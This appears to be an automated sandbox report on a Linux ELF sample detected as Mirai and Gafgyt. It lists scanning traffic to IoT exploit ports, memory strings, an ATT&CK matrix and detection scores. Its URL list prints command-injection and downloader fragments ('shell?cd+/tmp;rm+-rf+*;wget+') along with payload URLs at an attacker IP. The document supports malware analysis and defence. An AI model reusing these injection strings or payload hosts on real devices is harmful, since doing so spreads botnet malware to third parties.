Source: unknown	Network traffic detected: HTTP traffic on port 47744 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53764 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 55506 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53764 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 53764 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 33856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53764 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 47744 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59352 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 33856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34450 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46266 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 59352 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 34450 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53764 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 32780 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 58284 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 34466 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44844 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38026 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 44844 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50778 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40238 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 57630 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55588 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41218 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50806 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 50778
Source: unknown	Network traffic detected: HTTP traffic on port 57642 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55600 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41230 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 50806
Source: unknown	Network traffic detected: HTTP traffic on port 45580 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55600 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42074 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36778 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42108 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36812 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45614 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42108 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36812 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54444 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40238 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 59114 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42108 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36812 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54452 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54444 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 54452
Source: unknown	Network traffic detected: HTTP traffic on port 45580 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 54444
Source: unknown	Network traffic detected: HTTP traffic on port 59270 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53764 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 59270 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38448 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43530 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38448 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43530 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40238 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 58512 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49530 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49642 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46064 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 56780 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 58554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44034 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47898 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50200 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44186 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47986 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34422 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34360 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34520 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34522 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37382 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38576 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38594 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34124 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56188 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56338 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56188 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56336 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56338 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56188
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56336
Source: unknown	Network traffic detected: HTTP traffic on port 56354 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56338
Source: unknown	Network traffic detected: HTTP traffic on port 34124 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52472 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37382 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52636 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56336
Source: unknown	Network traffic detected: HTTP traffic on port 52472 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56354 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56354
Source: unknown	Network traffic detected: HTTP traffic on port 38868 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53520 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 34140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56336
Source: unknown	Network traffic detected: HTTP traffic on port 40238 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56354
Source: unknown	Network traffic detected: HTTP traffic on port 34124 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37382 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58296 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58332 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35392 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36670 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57834 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35392
Source: unknown	Network traffic detected: HTTP traffic on port 35398 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 36670
Source: unknown	Network traffic detected: HTTP traffic on port 36676 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57840 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35398
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 36676
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35398
Source: unknown	Network traffic detected: HTTP traffic on port 55268 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 54268 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 55268 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 53764 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 33856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57168 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57188 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56354
Source: unknown	Network traffic detected: HTTP traffic on port 57182 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55768 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52046 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55774 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46148 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55278 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55804 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46178 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55308 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57182 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55768 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54268 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 55774 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55774 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32842 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32864 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 32842
Source: unknown	Network traffic detected: HTTP traffic on port 44584 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 32864
Source: unknown	Network traffic detected: HTTP traffic on port 34124 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47782 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47798 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38956 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41448 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41466 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52046 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37382 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57210 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57296 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 32842
Source: unknown	Network traffic detected: HTTP traffic on port 57326 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47798 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 32864
Source: unknown	Network traffic detected: HTTP traffic on port 44584 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38956 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37406 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37418 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44584 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38956 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54268 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 38974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44584 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34562 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39442 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39470 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39442
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39470
Source: unknown	Network traffic detected: HTTP traffic on port 40242 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41650 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48678 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53916 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52046 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53942 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43848 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41650 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38956 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41676 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48704 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40248 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34562 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47278 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44584 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48678 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40238 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 43888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48704 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38956 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35150 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 36030 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 59898 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 54268 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 34562 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57210 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46692 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 44554 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44584 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32992 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 55555 -> 32992
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46454 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46464 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46454 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46464 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60836 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60872 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46454 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46464 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37382 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34124 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58342 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58342 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46454 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 58342
Source: unknown	Network traffic detected: HTTP traffic on port 46464 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37164 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38786 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 33008 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 40632 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 55555 -> 33008
Source: unknown	Network traffic detected: HTTP traffic on port 55555 -> 40632
Source: unknown	Network traffic detected: HTTP traffic on port 34140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34562 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38974 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37164 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38956 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37178 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 58342
Source: unknown	Network traffic detected: HTTP traffic on port 46464 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46454 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53376 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55546 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48810 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35058 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55596 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48848 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48810
Source: unknown	Network traffic detected: HTTP traffic on port 35100 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48848
Source: unknown	Network traffic detected: HTTP traffic on port 43748 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43812 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33236 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33260 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43812 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56942 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56944 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53376 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56944 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56944 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43812 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43748 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37462 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49336 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 49336 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 46454 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46464 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37492 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38604 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37462 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33478 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37492
Source: unknown	Network traffic detected: HTTP traffic on port 38608 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33484 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53182 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 37462
Source: unknown	Network traffic detected: HTTP traffic on port 42338 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53188 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42344 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 42338
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 42344
Source: unknown	Network traffic detected: HTTP traffic on port 43812 -> 7547

Source: /tmp/uMqeVeoVI4.elf (PID: 5514)

Queries kernel information via 'uname':

Jump to behavior

Source: uMqeVeoVI4.elf, 5514.1.000055aca0cea000.000055aca0d6f000.rw-.sdmp, uMqeVeoVI4.elf, 5561.1.000055aca0cea000.000055aca0d4e000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/m68k
Source: uMqeVeoVI4.elf, 5514.1.00007fff17279000.00007fff1729a000.rw-.sdmp, uMqeVeoVI4.elf, 5561.1.00007fff17279000.00007fff1729a000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: uMqeVeoVI4.elf, 5514.1.000055aca0cea000.000055aca0d6f000.rw-.sdmp, uMqeVeoVI4.elf, 5561.1.000055aca0cea000.000055aca0d4e000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k
Source: uMqeVeoVI4.elf, 5514.1.00007fff17279000.00007fff1729a000.rw-.sdmp, uMqeVeoVI4.elf, 5561.1.00007fff17279000.00007fff1729a000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/uMqeVeoVI4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/uMqeVeoVI4.elf

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: uMqeVeoVI4.elf, type: SAMPLE
Source: Yara match	File source: 5514.1.00007f45d8001000.00007f45d8023000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5561.1.00007f45d8001000.00007f45d8023000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: uMqeVeoVI4.elf, type: SAMPLE
Source: Yara match	File source: 5514.1.00007f45d8001000.00007f45d8023000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5561.1.00007f45d8001000.00007f45d8023000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Gafgyt

Source: Yara match	File source: uMqeVeoVI4.elf, type: SAMPLE
Source: Yara match	File source: 5514.1.00007f45d8001000.00007f45d8023000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5561.1.00007f45d8001000.00007f45d8023000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: uMqeVeoVI4.elf, type: SAMPLE
Source: Yara match	File source: 5514.1.00007f45d8001000.00007f45d8023000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5561.1.00007f45d8001000.00007f45d8023000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	1 Command and Scripting Interpreter	2 Scripting	Path Interception	2 File and Directory Permissions Modification	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
uMqeVeoVI4.elf	66%	ReversingLabs	Linux.Trojan.Mirai
uMqeVeoVI4.elf	56%	Virustotal		Browse
uMqeVeoVI4.elf	100%	Avira	EXP/ELF.Mirai.Z.A

Source	Detection	Scanner	Label	Link
http://purenetworks.com/HNAP1/	0%	URL Reputation	safe
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Virustotal		Browse
http://109.205.214.35/mips	8%	Virustotal		Browse
http://109.205.214.35/arm7;chmod	2%	Virustotal		Browse
http://109.205.214.35/x86	13%	Virustotal		Browse
http://127.0.0.1:80/tmUnblock.cgi	0%	Avira URL Cloud	safe
http://109.205.214.35/x86	100%	Avira URL Cloud	malware
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Avira URL Cloud	safe
http://109.205.214.35/arm7;chmod	0%	Avira URL Cloud	safe
http://109.205.214.35/mips	100%	Avira URL Cloud	malware
http://127.0.0.1:80/tmUnblock.cgi	0%	Virustotal		Browse
http://127.0.0.1/cgi-bin/ViewLog.asp	1%	Virustotal		Browse
http://127.0.0.1/cgi-bin/ViewLog.asp	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/wanipcn.xml	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/wanipcn.xml	1%	Virustotal		Browse
http://127.0.0.1:52869/picdesc.xml	1%	Virustotal		Browse
http://127.0.0.1:7547/UD/act?1	1%	Virustotal		Browse
http://127.0.0.1:52869/picdesc.xml	0%	Avira URL Cloud	safe
http://109.205.214.35/mpsl;chmod	0%	Avira URL Cloud	safe
http://127.0.0.1:7547/UD/act?1	0%	Avira URL Cloud	safe
http://109.205.214.35/mips;	100%	Avira URL Cloud	malware
http://109.205.214.35/mips;	2%	Virustotal		Browse
http://109.205.214.35/mpsl;chmod	1%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/tmUnblock.cgi	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1/cgi-bin/ViewLog.asp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/wanipcn.xml	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/picdesc.xml	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:7547/UD/act?1	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://109.205.214.35/arm7;chmod	uMqeVeoVI4.elf	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://109.205.214.35/mips	uMqeVeoVI4.elf	false	8%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://109.205.214.35/x86	uMqeVeoVI4.elf	false	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	uMqeVeoVI4.elf	false		high
http://purenetworks.com/HNAP1/	uMqeVeoVI4.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	uMqeVeoVI4.elf	false		high
http://109.205.214.35/mpsl;chmod	uMqeVeoVI4.elf	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://109.205.214.35/mips;	uMqeVeoVI4.elf	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
119.117.225.83	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
178.178.49.2	unknown	Russian Federation	25159	SONICDUO-ASRU	false
211.133.204.159	unknown	Japan	10010	TOKAITOKAICommunicationsCorporationJP	false
80.126.137.95	unknown	Netherlands	3265	XS4ALL-NLAmsterdamNL	false
181.74.231.154	unknown	Chile	6535	TelmexServiciosEmpresarialesSACL	false
206.8.150.212	unknown	United States	5006	VOYANTUS	false
